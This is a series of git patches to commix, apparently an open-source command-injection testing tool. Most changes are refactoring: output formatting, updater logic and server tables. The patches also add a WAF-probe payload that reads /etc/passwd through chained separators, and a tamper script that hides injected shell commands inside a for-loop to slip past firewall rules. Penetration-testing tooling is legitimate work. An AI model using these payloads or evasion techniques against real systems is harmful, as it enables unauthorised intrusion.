print_time() + INFO_BOLD_SIGN + Style.BRIGHT + cmd + ": " + str(retrieved) + Style.RESET_ALL - return result +""" +Something read off the target, written the way the summary blocks already are. + +No timestamp and no sign: what was retrieved is the answer, not a step towards it, and it reads +apart from the running log for that. Quoted, so a value that is empty or padded is still visible, +and fenced where it runs to more than one line rather than trailing off the first. +""" +def print_retrieved_data(label, retrieved, quoted=True): + text = str(retrieved) + if text.endswith(END_LINE.CRLF): + text = text[:-2] + elif text.endswith(END_LINE.LF): + text = text[:-1] + if END_LINE.LF in text: + # Its own lines, so the fence is all the delimiting it needs. + body = END_LINE.LF + "---" + END_LINE.LF + text + END_LINE.LF + "---" + elif len(text) > MAX_INLINE_VALUE_LENGTH: + # One line, but longer than one: fenced so it starts where the eye is, rather than trailing off + # the end of the label - still quoted, since nothing else marks where it begins and ends. + body = END_LINE.LF + "---" + END_LINE.LF + ("'" + text + "'" if quoted else text) + END_LINE.LF + "---" + else: + body = SINGLE_WHITESPACE + ("'" + text + "'" if quoted else text) + return Style.BRIGHT + label + ":" + body + Style.RESET_ALL # Print output of command execution def command_execution_output(shell): @@ -280,8 +310,11 @@ def print_data_to_stdout(data): if PROGRESS_LINE_OPEN and not is_spinner_style and not is_established_closer: sys.stdout.write(END_LINE.LF) - # Only spinner output stays unterminated; other messages always end with a newline. - if not is_spinner_style or is_done_marker: + # Only spinner output stays unterminated; other messages always end with a newline. The + # closer says nothing of its own, so it ends the line rather than leaving a space on it. + if is_established_closer: + data = END_LINE.LF + elif not is_spinner_style or is_done_marker: data = data + END_LINE.LF _stdout_write(data) @@ -350,7 +383,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "129" +REVISION = "130" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -475,8 +508,8 @@ def payload_safe_chars(): CMD_SUB_PREFIX = "$(" CMD_SUB_SUFFIX = ")" -# Maybe a WAF/IPS protection. -WAF_CHECK_PAYLOAD = "cat /etc/passwd|uname&&ping -c3 localhost;ls ../" +# Sent to be blocked, never to run: read-only and instant, in both shells, chained every way. +WAF_CHECK_PAYLOAD = ";cat /etc/passwd|type C:\\Windows\\win.ini&&dir ../../||$(cat /etc/passwd)" WAF_ENABLED = False class HEURISTIC_TEST(object): @@ -947,6 +980,7 @@ def apply_injection_level(level=None): globals()[name] = sorted(set(source), key=source.index) return True +# Speak a different language: every payload is built from the grammar set here. def set_eval_grammar(language): global EVAL_GRAMMAR, EVAL_PROBE_PAYLOADS, EVAL_PROBE_REGEX, EVAL_WARNINGS global EXECUTION_FUNCTIONS_LVL1, EXECUTION_FUNCTIONS_LVL2, EXECUTION_FUNCTIONS_LVL3 @@ -1169,123 +1203,26 @@ class RetryTechniqueException(Exception): except LookupError: DEFAULT_PAGE_ENCODING = DEFAULT_CODEC -# Character Sets List. -# A complete list of the standard encodings Python supports. -ENCODING_LIST = [ - "iso-8859-1", - "ascii", - "big5", - "big5hkscs", - "cp037", - "cp424", - "cp437", - "cp500", - "cp720", - "cp737", - "cp775", - "cp850", - "cp852", - "cp855", - "cp856", - "cp857", - "cp858", - "cp860", - "cp861", - "cp862", - "cp863", - "cp864", - "cp865", - "cp866", - "cp869", - "cp874", - "cp875", - "cp932", - "cp949", - "cp950", - "cp1006", - "cp1026", - "cp1140", - "cp1250", - "cp1251", - "cp1252", - "cp1253", - "cp1254", - "cp1255", - "cp1256", - "cp1257", - "cp1258", - "euc-jp", - "euc-jis-2004", - "euc-jisx0213", - "euc-kr", - "gb2312", - "gbk", - "gb18031", - "hz", - "iso2022-jp", - "iso2022-jp-1", - "iso2022-jp-2", - "iso2022-jp-2004", - "iso2022-jp-3", - "iso2022-jp-ext", - "iso2022-kr", - "latin-1", - "iso8859-2", - "iso8859-3", - "iso8859-4", - "iso8859-5", - "iso8859-6", - "iso8859-7", - "iso8859-8", - "iso8859-9", - "iso8859-10", - "iso8859-13", - "iso8859-14", - "iso8859-15", - "iso8859-16", - "johab", - "koi8-r", - "koi8-u", - "mac-cyrillic", - "mac-greek", - "mac-iceland", - "mac-latin2", - "mac-roman", - "mac-turkish", - "ptcp154", - "shift-jis", - "shift-jis-2004", - "shift-jisx0213", - "utf-32", - "utf-32-be", - "utf-32-le", - "utf-16", - "utf-16-be", - "utf-16-le", - "utf-7", - "utf-8", - "utf-8-sig" - ] - -HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip, deflate" -HTTP_CONTENT_TYPE_JSON_HEADER_VALUE = "application/json" -HTTP_CONTENT_TYPE_XML_HEADER_VALUE = "text/xml" -DEFAULT_HTTP_CONTENT_TYPE_VALUE = "application/x-www-form-urlencoded" +# Whether this platform can actually read a charset, which a hand-kept list of names cannot say. +def known_encoding(name): + try: + return bool(name) and bool(codecs.lookup(str(name).strip())) + except (LookupError, TypeError, ValueError): + return False -# Default server banner -SERVER_BANNER = "" +""" +Whether a charset leaves plain ASCII alone. -# Server banners list -SERVER_BANNERS = [ - "Microsoft-IIS", - "Apache", - r"Nginx/([\w\.]+)", - r"GWS/([\w\.]+)", - r"lighttpd/([\w\.]+)", - r"openresty/([\w\.]+)", - r"LiteSpeed/([\w\.]+)", - r"Sun-ONE-Web-Server/([\w\.]+)" -] +What a payload is found by is a marker of ASCII letters, and a page only claims its encoding - a +page that claims one of the wide ones and serves something else is read as gibberish, the marker +with it, and the parameter is reported as not injectable. The claim is only worth acting on where +being wrong about it cannot cost that much: for these, being wrong costs the accented characters. +""" +def ascii_transparent_encoding(name): + try: + return "commix".encode(str(name).strip()) == b"commix" + except (LookupError, TypeError, ValueError, UnicodeEncodeError): + return False # Server banners list SERVER_OS_BANNERS = [ @@ -1375,7 +1312,7 @@ class RetryTechniqueException(Exception): # Infixes used for automatic recognition of parameters carrying anti-CSRF tokens CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token", "nonce") -# Largest chunk built by the '--chunked' option, small enough to break up what a filter looks for. +# Largest chunk built by the '--chunked' switch, small enough to break up what a filter looks for. MAX_CHUNK_SIZE = 9 # Tokens a chunk is not allowed to hold whole, so none of them is ever visible in a single chunk. CHUNKED_SPLIT_KEYWORDS = ( @@ -1433,6 +1370,7 @@ class RetryTechniqueException(Exception): ANSI_COLOR_REMOVAL = r'\x1b[^m]*m' _ANSI_COLOR_REMOVAL_REGEX = re.compile(ANSI_COLOR_REMOVAL) +# The text with its colour codes taken out, for anywhere they would be read literally. def strip_ansi_codes(text): return _ANSI_COLOR_REMOVAL_REGEX.sub("", text) @@ -1793,6 +1731,25 @@ class END_LINE: # The (parameter, technique) last announced, so a re-announcement reads as "Continuing with". LAST_ANNOUNCED_TECHNIQUE = None +# The output file last announced, so the same one is not announced again for every separator tried. +LAST_ANNOUNCED_OUTPUT_FILE = None + +# The history file already reported as unwritable, so every path out of a run does not repeat it. +FAILED_HISTORY_FILE = None + +# How much of git's own complaint is repeated when an update fails. +MAX_UPDATE_REASON_LENGTH = 200 + +# Longer than this and a retrieved value is shown fenced, rather than running off the label's line. +MAX_INLINE_VALUE_LENGTH = 80 + +# How many answers the concurrency probe times on each side, and the total below which it cannot say. +CONCURRENCY_PROBE_REQUESTS = 16 +CONCURRENCY_PROBE_FLOOR = 0.05 + +# Said while the target's own response times are still being sampled, so a delay can be told apart. +TIMING_BASELINE_MSG = "Time-related response comparison requires a larger statistical model" + # Retries for the false-positive/unexploitable-point re-verification during detection. FALSE_POSITIVE_RETRIES = 3 @@ -1820,8 +1777,18 @@ class END_LINE: CHECK_BOTH_OS = False OS_CHECKS_NUM = 2 +# The banner did not name an operating system, and no heuristic has answered yet either. While this +# stands, the question is still open - it is put to the user only once nothing else has settled it. +OS_IDENTIFICATION_PENDING = False + +# A language the target named for itself, e.g. through 'X-Powered-By'. The sweep starts with it. +IDENTIFIED_EVAL_LANGUAGE = None + # Options to explicitly mask in anonymous (unhandled exception) reports. -SENSITIVE_OPTIONS = ["--data", "-d", "--cookie", "-p", "--url", "-u", "-x", "--auth-cred", "-r", "-l"] +# Everything that can carry a target's identity or a credential into a report meant for strangers. +SENSITIVE_OPTIONS = ["--data", "-d", "--cookie", "-p", "--url", "-u", "-x", "--auth-cred", "-r", "-l", + "--proxy", "--header", "-H", "--headers", "--load-cookies", "--live-cookies", + "--csrf-token", "--host", "--referer"] CAPTCHA_DETECED = None @@ -1836,10 +1803,10 @@ class END_LINE: GOOGLE_ANALYTICS_COOKIE_REGEX = r"(?i)\A(_ga|_gid|_gat|_gcl_au|__utm[abcz])" # Default path for tamper scripts -TAMPER_SCRIPTS_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), '../',"core/tamper/")) + "/" +TAMPER_SCRIPTS_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), '../',"tamper/")) + "/" # Default path for settings.py file -SETTINGS_PATH = os.path.abspath("src/utils/settings.py") +SETTINGS_PATH = os.path.abspath(__file__) # Period after last-update to start nagging (about the old revision). NAGGING_DAYS = 31 @@ -1871,9 +1838,32 @@ class END_LINE: "/usr/local/www/data/", # BSD-style "/var/apache2/htdocs/", # Older Apache distros "/var/www/nginx-default/", # Nginx variation - "/srv/www/htdocs/" # SUSE/Fedora style + "/srv/www/htdocs/", # SUSE/Fedora style + "/usr/local/lsws/DEFAULT/html/" # LiteSpeed default ] +""" +Where each web server commix recognises keeps its document root, per platform. + +Named rather than indexed, so the lists above can be reordered or added to without silently handing +a target somebody else's directory. A server missing from a platform has no default worth guessing. +""" +SERVER_DOC_ROOTS = { + # Tomcat names itself "Apache Tomcat" or "Apache-Coyote", so it is looked for before Apache is. + "coyote": {OS.WINDOWS: "C:\\Program Files\\Apache Software Foundation\\Tomcat\\webapps\\ROOT\\", + OS.UNIX: "/var/lib/tomcat/webapps/ROOT/"}, + "tomcat": {OS.WINDOWS: "C:\\Program Files\\Apache Software Foundation\\Tomcat\\webapps\\ROOT\\", + OS.UNIX: "/var/lib/tomcat/webapps/ROOT/"}, + "microsoft-iis": {OS.WINDOWS: "C:\\Inetpub\\wwwroot\\"}, + "apache": {OS.WINDOWS: "C:\\xampp\\htdocs\\", OS.UNIX: "/var/www/html/"}, + "openresty": {OS.WINDOWS: "C:\\openresty\\html\\", OS.UNIX: "/usr/share/nginx/html/"}, + "nginx": {OS.WINDOWS: "C:\\nginx\\html\\", OS.UNIX: "/usr/share/nginx/html/"}, + "litespeed": {OS.UNIX: "/usr/local/lsws/DEFAULT/html/"}, + "lighttpd": {OS.UNIX: "/var/www/html/"}, + "jetty": {OS.UNIX: "/var/lib/jetty/webapps/ROOT/"}, + "caddy": {OS.UNIX: "/usr/share/caddy/"}, +} + DEFINED_WEBROOT = RECHECK_FILE_FOR_EXTRACTION = False # HTTP Headers @@ -1896,6 +1886,29 @@ class END_LINE: X_POWERED_BY = "X-Powered-By" # HTTP Headers values ACCEPT_VALUE = "*/*" +# What a body is sent as, unless it is recognised as one of the two below. +DEFAULT_HTTP_CONTENT_TYPE_VALUE = "application/x-www-form-urlencoded" +HTTP_CONTENT_TYPE_JSON_HEADER_VALUE = "application/json" +HTTP_CONTENT_TYPE_XML_HEADER_VALUE = "application/xml" +# Only what the response handling can actually decompress is asked for. +HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip,deflate" + +# The web server named by the 'Server' header, and the ones that are recognised. +SERVER_BANNER = "" +SERVER_BANNERS = [ + "Microsoft-IIS", + # Ahead of the bare "Apache" below: Tomcat names itself with it, and keeps its own document root. + r"Apache[ -](?:Tomcat|Coyote)/?([\w\.]+)?", + "Apache", + r"Nginx/([\w\.]+)", + r"Jetty\(?([\w\.]+)?\)?", + r"Caddy", + r"GWS/([\w\.]+)", + r"lighttpd/([\w\.]+)", + r"openresty/([\w\.]+)", + r"LiteSpeed/([\w\.]+)", + r"Sun-ONE-Web-Server/([\w\.]+)" +] # HTTP Headers HTTP_HEADERS = [ USER_AGENT.lower(), REFERER.lower(), HOST.lower() ] diff --git a/src/utils/update.py b/src/utils/update.py index 8b0203498c..b2c8ebaa36 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -15,9 +15,8 @@ import re import os -import time import subprocess -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings from src.utils import requirements from src.utils import common @@ -29,84 +28,105 @@ """ """ -Returns abbreviated commit hash number as retrieved with "git rev-parse --short HEAD" +Where commix is installed, which is the repository to update. + +Taken from this file rather than from the working directory: run from inside some other checkout, +a command that reaches for 'the' repository would otherwise reach for that one instead. +""" +def _install_path(): + return os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +""" +The revision the install now sits at, shortened the way git itself shows it. """ -def revision_num(): +def _revision_number(root): try: - start = 0 - end = 0 - start = time.time() - process = subprocess.Popen("git reset --hard HEAD && git clean -fd && git pull", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + process = subprocess.Popen("git rev-parse --verify HEAD", shell=True, stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, cwd=root) stdout, _ = process.communicate() - # communicate() returns bytes - decode before comparing/printing as text. - stdout = stdout.decode(settings.DEFAULT_CODEC, errors="replace") - if settings.VERBOSITY_LEVEL == 0: - info_msg = ('Updated to', 'Already at')["Already" in stdout] - process = subprocess.Popen("git rev-parse --verify HEAD", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - # Delete *.pyc files. - subprocess.Popen("find . -name \"*.pyc\" -delete", shell=True).wait() - # Delete empty directories and files. - subprocess.Popen("find . -empty -type d -delete", shell=True).wait() - if settings.VERBOSITY_LEVEL == 0: - stdout, _ = process.communicate() - stdout = stdout.decode(settings.DEFAULT_CODEC, errors="replace") - match = re.search(r"(?i)[0-9a-f]{32}", stdout or "") - rev_num = match.group(0) if match else None - info_msg += " the latest revision '" + str(rev_num[:7]) + "'." - else: - settings.print_data_to_stdout(Fore.MAGENTA + settings.END_LINE.LF + stdout + Style.RESET_ALL) - end = time.time() - exec_time = int(end - start) - info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(exec_time)) + "." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - except: - raise SystemExit() + match = re.search(r"(?i)[0-9a-f]{40}", stdout.decode(settings.DEFAULT_CODEC, errors="replace")) + return match.group(0)[:7] if match else None + except Exception: + return None + +""" +Anything the pull leaves behind that is no longer part of the tree. +""" +def _clean_up(root): + for command in ("find . -name \"*.pyc\" -delete", "find . -empty -type d -delete"): + try: + subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=root).wait() + except Exception: + pass """ The commix's updater. """ def updater(): - info_msg = "Checking requirements to update " - info_msg += settings.APPLICATION + " from GitHub repository. " - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if menu.options.offline: err_msg = "You cannot update " + settings.APPLICATION + " via GitHub without access to the Internet." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - # Check if windows - if settings.IS_WINDOWS: - err_msg = "For updating purposes on the Windows platform, it's recommended " - err_msg += "to use a GitHub client for Windows (http://windows.github.com/)." + + root = _install_path() + if not os.path.isdir(os.path.join(root, ".git")): + err_msg = "Not a valid git repository. Please clone the '" + settings.APPLICATION + "' repository " + err_msg += "from GitHub (e.g. 'git clone --depth 1 " + settings.GIT_URL + " " + settings.APPLICATION + "')." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - else: - try: - requirement = "git" - # Check if 'git' is installed. - if requirements.do_check(requirement) == True: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = settings.APPLICATION.capitalize() + " will try to update itself using '" + requirement + "' command." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - # Check if ".git" exists! - if os.path.isdir("./.git"): - info_msg = "Updating " + settings.APPLICATION + " to the latest (dev) version. " - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - revision_num() - os._exit(0) - else: - err_msg = "The '.git' directory was not found. Do it manually: " - err_msg += "'git clone " + settings.GIT_URL + " " + settings.APPLICATION + "' " - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - err_msg = requirement + " not found." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - - except Exception as err_msg: - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + + if not requirements.do_check("git"): + err_msg = "The 'git' command was not found." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() + info_msg = "Updating " + settings.APPLICATION + " to the latest development revision from the GitHub repository." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = settings.APPLICATION.capitalize() + " will try to update itself using the 'git' command." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + output = "" + success = False + try: + # What the working tree holds is restored, not discarded: a pull needs the tracked files back as + # they were, and everything else in the directory is the user's own business. + process = subprocess.Popen("git checkout . && git pull " + settings.GIT_URL + " HEAD", shell=True, + stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=root) + stdout, _ = process.communicate() + output = stdout.decode(settings.DEFAULT_CODEC, errors="replace") + success = not process.returncode + except Exception as err: + output = str(err) + + if settings.VERBOSITY_LEVEL != 0 and output: + settings.print_data_to_stdout(Fore.MAGENTA + settings.END_LINE.LF + output + Style.RESET_ALL) + + if success: + _clean_up(root) + revision = _revision_number(root) + info_msg = ("Already at" if "Already" in output else "Updated to") + " the latest revision" + info_msg += (" '" + revision + "'." if revision else ".") + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + else: + # Git says what went wrong on one line and then offers pages of advice about it - the line is + # what the reason is, so it is the line that is reported. + reason = "" + for line in output.splitlines(): + if line.lower().startswith(("fatal:", "error:")): + reason = line.split(":", 1)[1].strip() + break + if not reason: + reason = re.sub(r"\s+", settings.SINGLE_WHITESPACE, output).strip() + err_msg = "The update could not be completed ('" + reason[:settings.MAX_UPDATE_REASON_LENGTH] + "')." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + if settings.IS_WINDOWS: + info_msg = "For updating purposes on the Windows platform, it is recommended to use a GitHub " + info_msg += "client for Windows (https://desktop.github.com/), or to download the latest " + info_msg += "snapshot from " + settings.GIT_URL.replace(".git", "") + "/releases." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + raise SystemExit() + """ Check for new version of commix """ @@ -141,4 +161,4 @@ def check_for_update(): except: pass -# eof \ No newline at end of file +# eof diff --git a/src/utils/version.py b/src/utils/version.py index d2846b6117..b58388b90c 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -35,4 +35,4 @@ def python_version(): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() -# eof \ No newline at end of file +# eof From 4d313904a8cc8947554ffe25a3552567abe5cccc Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Tue, 15 Sep 2026 05:45:09 +0300 Subject: [PATCH 0790/1023] Added new tamper script `cmd2loop.py`, which wraps a payload's command in a single-iteration "for" loop, so that it follows a shell keyword rather than a separator --- doc/CHANGELOG.md | 1 + src/tamper/cmd2loop.py | 186 +++++++++++++++++++++++++++++++++++++++++ src/utils/settings.py | 8 +- 3 files changed, 192 insertions(+), 3 deletions(-) create mode 100644 src/tamper/cmd2loop.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 48d0388f75..a99259f9aa 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New tamper script `cmd2loop.py`, which wraps a payload's command in a single-iteration "for" loop, so that it follows a shell keyword rather than a separator. * Added: Code injection support for Python as well as PHP, across all techniques. * Added: The `--eval` switch now also reaches the time-based and file-based techniques, so code injection is proven blind and semi-blind as well as results-based. * Added: New `--eval` switch to test for code injection, optionally naming a language (e.g. `--eval="php"`), which combines with any technique given with `--technique`. diff --git a/src/tamper/cmd2loop.py b/src/tamper/cmd2loop.py new file mode 100644 index 0000000000..e5c67c85e3 --- /dev/null +++ b/src/tamper/cmd2loop.py @@ -0,0 +1,186 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.core.parse import cmdline as menu +from src.utils import settings +from src.core.controller import checks + +""" +About: Wraps the payload's command in a single-iteration "for" loop, so it is reached through a shell keyword instead of a separator. +Notes: This tamper script works against target(s) with a POSIX shell. +Reference: https://github.com/coreruleset/coreruleset/issues/4789 +""" + +__tamper__ = "cmd2loop" +__priority__ = settings.PRIORITY.LOW + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_eval_incompatible(__tamper__) or checks.tamper_dep_unix_only(__tamper__) + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Longest first, so "&&" is not read as "&" and "\r\n" not as "\n". +_SEPARATORS = sorted([_sep for _sep in settings.SEPARATORS_LVL1 if _sep], key=len, reverse=True) + +""" +A tab, not a space, separates the loop's keywords. + +Whitespace substitution can rewrite spaces in the payload, preventing the shell from correctly parsing the loop. +A tab is recognized directly as parser whitespace and remains unaffected, preserving the loop structure. +""" +_KEYWORD_WHITESPACE = "\t" + +# The payloads already spend the first three of these, and a loop must not shadow a variable whose +# value the body it wraps is about to read. +_LOOP_VARIABLE = settings.RANDOM_VAR_GENERATOR + "3" + +""" +Where the injected command starts, not where the payload starts. + +The prefix is added before tampering, so only the injected command should be wrapped. +Including the prefix can break the command structure it was intended to close. +""" +def _boundary(payload): + for index in range(len(payload)): + for sep in _SEPARATORS: + if payload.startswith(sep, index): + return index + len(sep) + return -1 + +""" +The comment that terminates an out-of-band payload must remain at the end of the line. + +It prevents trailing input from being interpreted as part of the command. +Anything placed after it can break the command structure and prevent execution. +""" +def _split_comment(body): + if not body.endswith(settings.COMMENT): + return body, "" + body = body[:len(body) - len(settings.COMMENT)] + # Whitespace substitution has already run, so the space before it is whatever is now in use. + space = settings.WHITESPACES[0] if settings.WHITESPACES else settings.SINGLE_WHITESPACE + if body.endswith(space): + body = body[:len(body) - len(space)] + # It goes back after a tab: "done" must remain a separate keyword for the loop to parse correctly. + return body, _KEYWORD_WHITESPACE + settings.COMMENT + +# Everything glued on after the command comes off in the order it went on, and goes back the same. +def _split(payload): + cut = _boundary(payload) + if cut < 0: + return None + head, body = payload[:cut], payload[cut:] + + suffix = menu.options.suffix if menu.options.suffix and body.endswith(menu.options.suffix) else "" + if suffix: + body = body[:len(body) - len(suffix)] + body, comment = _split_comment(body) + sep = next((_sep for _sep in _SEPARATORS if body.endswith(_sep)), "") + if sep: + body = body[:len(body) - len(sep)] + return head, body, sep + comment + suffix + +# A header value cannot carry a raw newline, so the connective the loop needs is unavailable there. +def _header_injection(): + return settings.USER_AGENT_INJECTION or settings.REFERER_INJECTION or \ + settings.HOST_INJECTION or settings.CUSTOM_HEADER_INJECTION + +""" +A Windows command payload, identified from the payload itself. + +The operating system may be unknown when the payload is processed, so relying on fingerprinting can lead to incorrect handling. +Identifying the payload directly ensures the appropriate command structure is preserved. +""" +def _windows_shaped(payload): + return checks.WINDOWS_TAIL.strip() in payload + +""" +Blank out quoted spans, keeping the length so the rest still lines up. + +A ";" inside an interpreter's own program text is that language's statement separator, not the +shell's, and reading it as one would refuse payloads that are a single command from the shell's +point of view - the out-of-band Python client being the one that does this. +""" +def _outside_quotes(body): + out = [] + quote = "" + index = 0 + while index < len(body): + char = body[index] + if quote: + out.append(settings.SINGLE_WHITESPACE) + if char == "\\" and index + 1 < len(body): + out.append(settings.SINGLE_WHITESPACE) + index += 1 + elif char == quote: + quote = "" + elif char in "'\"": + quote = char + out.append(settings.SINGLE_WHITESPACE) + else: + out.append(char) + index += 1 + # An unbalanced quote means the read was wrong, so nothing it says can be relied on. + return body if quote else "".join(out) + +""" +A payload that chains using the separator under test can be wrapped. + +When a payload uses the same separator consistently, its steps can be grouped without changing the command flow. +Payloads that test multiple separators represent alternatives rather than a single sequence, so they should remain unchanged. +""" +def _one_chain(head, body): + chained = next((sep for sep in _SEPARATORS if head.endswith(sep)), "") + body = _outside_quotes(body) + index = 0 + while index < len(body): + found = next((sep for sep in _SEPARATORS if body.startswith(sep, index)), "") + if not found: + index += 1 + elif found == chained: + index += len(found) + else: + return False + return True + +""" +Newlines, not semicolons, connect the loop. + +A semicolon can introduce an unnecessary separator, while the command after `do` +provides a clean execution point without an additional metacharacter. +""" +def tamper(payload): + if settings.TARGET_OS == settings.OS.WINDOWS or _header_injection(): + return payload + + if _windows_shaped(payload): + return payload + + parts = _split(payload) + if parts is None: + return payload + head, body, tail = parts + # A carriage return is not whitespace to a POSIX shell; it would be swallowed into a word. + if not body.strip() or settings.END_LINE.CR in body or not _one_chain(head, body): + return payload + + lf, ws = settings.END_LINE.LF, _KEYWORD_WHITESPACE + loop = ws.join(["for", _LOOP_VARIABLE, "in", "1"]) + \ + lf + "do" + ws + body + lf + "done" + return head + loop + tail + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index e824364026..3dd036838e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -383,7 +383,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "130" +REVISION = "131" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1489,7 +1489,8 @@ class AUTH_TYPE(object): "slash2env": False, "backticks": False, "randomcase": False, - "rev": False + "rev": False, + "cmd2loop": False } # Execution priority for tamper scripts; each script defines its own __priority__. @@ -1564,7 +1565,8 @@ class PRIORITY(object): "PATH%%u*", RANDOM_VAR_GENERATOR, RANDOM_VAR_GENERATOR + "1", - RANDOM_VAR_GENERATOR + "2" + RANDOM_VAR_GENERATOR + "2", + RANDOM_VAR_GENERATOR + "3" ] # HTTP Errors From 31bd8b153cc2291228708ac2da957a3aa7fa1543 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Tue, 15 Sep 2026 05:49:49 +0300 Subject: [PATCH 0791/1023] Various fixes, improvements, and updates --- src/core/controller/checks.py | 163 ++++++++++-------- src/core/controller/controller.py | 24 +-- src/core/controller/enumeration.py | 2 +- src/core/controller/handler.py | 18 +- src/core/controller/injector.py | 34 ++-- src/core/controller/shell_options.py | 4 +- src/core/convert.py | 17 +- src/core/main.py | 39 +++-- src/core/modules/shellshock/shellshock.py | 4 +- src/core/parse/cmdline.py | 13 +- src/core/parse/request.py | 6 +- src/core/requests/cookies.py | 6 +- src/core/requests/headers.py | 20 +-- src/core/requests/parameters.py | 38 ++-- src/core/requests/requests.py | 8 +- src/core/shells/bind_tcp.py | 4 +- src/core/shells/modes.py | 2 +- src/core/shells/reverse_tcp.py | 4 +- src/core/techniques/file_based/fb_payloads.py | 2 +- .../techniques/tempfile_based/tfb_handler.py | 2 +- src/core/techniques/time_based/tb_handler.py | 6 +- src/core/testing.py | 6 +- src/tamper/backslashes.py | 5 +- src/tamper/backticks.py | 5 +- src/tamper/caret.py | 12 +- src/tamper/cmd2loop.py | 2 +- src/tamper/dollaratsigns.py | 3 +- src/tamper/doublequotes.py | 3 +- src/tamper/hexencode.py | 5 +- src/tamper/printf2echo.py | 5 +- src/tamper/randomcase.py | 10 +- src/tamper/singlequotes.py | 3 +- src/tamper/slash2env.py | 11 +- src/tamper/sleep2timeout.py | 8 +- src/tamper/sleep2usleep.py | 13 +- src/tamper/space2htab.py | 1 - src/tamper/space2ifs.py | 10 +- src/tamper/space2plus.py | 3 +- src/tamper/space2vtab.py | 5 +- src/tamper/uninitializedvariable.py | 5 +- src/tamper/xforwardedfor.py | 15 +- src/utils/common.py | 32 ++-- src/utils/crawler.py | 10 +- src/utils/logs.py | 8 +- src/utils/purge.py | 2 +- src/utils/settings.py | 2 +- src/utils/update.py | 2 +- 47 files changed, 319 insertions(+), 283 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 31adfc5dc3..8afc17241a 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -56,11 +56,11 @@ else: import readline from readline import * -except: +except ImportError: try: import pyreadline as readline from pyreadline import * - except: + except ImportError: settings.READLINE_ERROR = True """ @@ -126,12 +126,12 @@ def check_waf(url, http_request_method): Check injection technique(s) status. """ def injection_techniques_status(): - if settings.CLASSIC_STATE != True and \ - settings.EVAL_BASED_STATE != True and \ - settings.TIME_BASED_STATE != True and \ - settings.FILE_BASED_STATE != True and \ - settings.TEMPFILE_BASED_STATE != True and \ - settings.OOB_STATE != True : + if settings.CLASSIC_STATE is not True and \ + settings.EVAL_BASED_STATE is not True and \ + settings.TIME_BASED_STATE is not True and \ + settings.FILE_BASED_STATE is not True and \ + settings.TEMPFILE_BASED_STATE is not True and \ + settings.OOB_STATE is not True : return False else: return True @@ -199,11 +199,11 @@ def process_injectable_value(payload, data): random_tag = settings.RANDOM_TAG while random_tag in settings.TESTABLE_VALUE or settings.TESTABLE_VALUE in random_tag: random_tag = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10)) - _ = data.replace(settings.TESTABLE_VALUE, random_tag) - if settings.TESTABLE_VALUE in _.replace(settings.INJECT_TAG, ""): - return _.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, 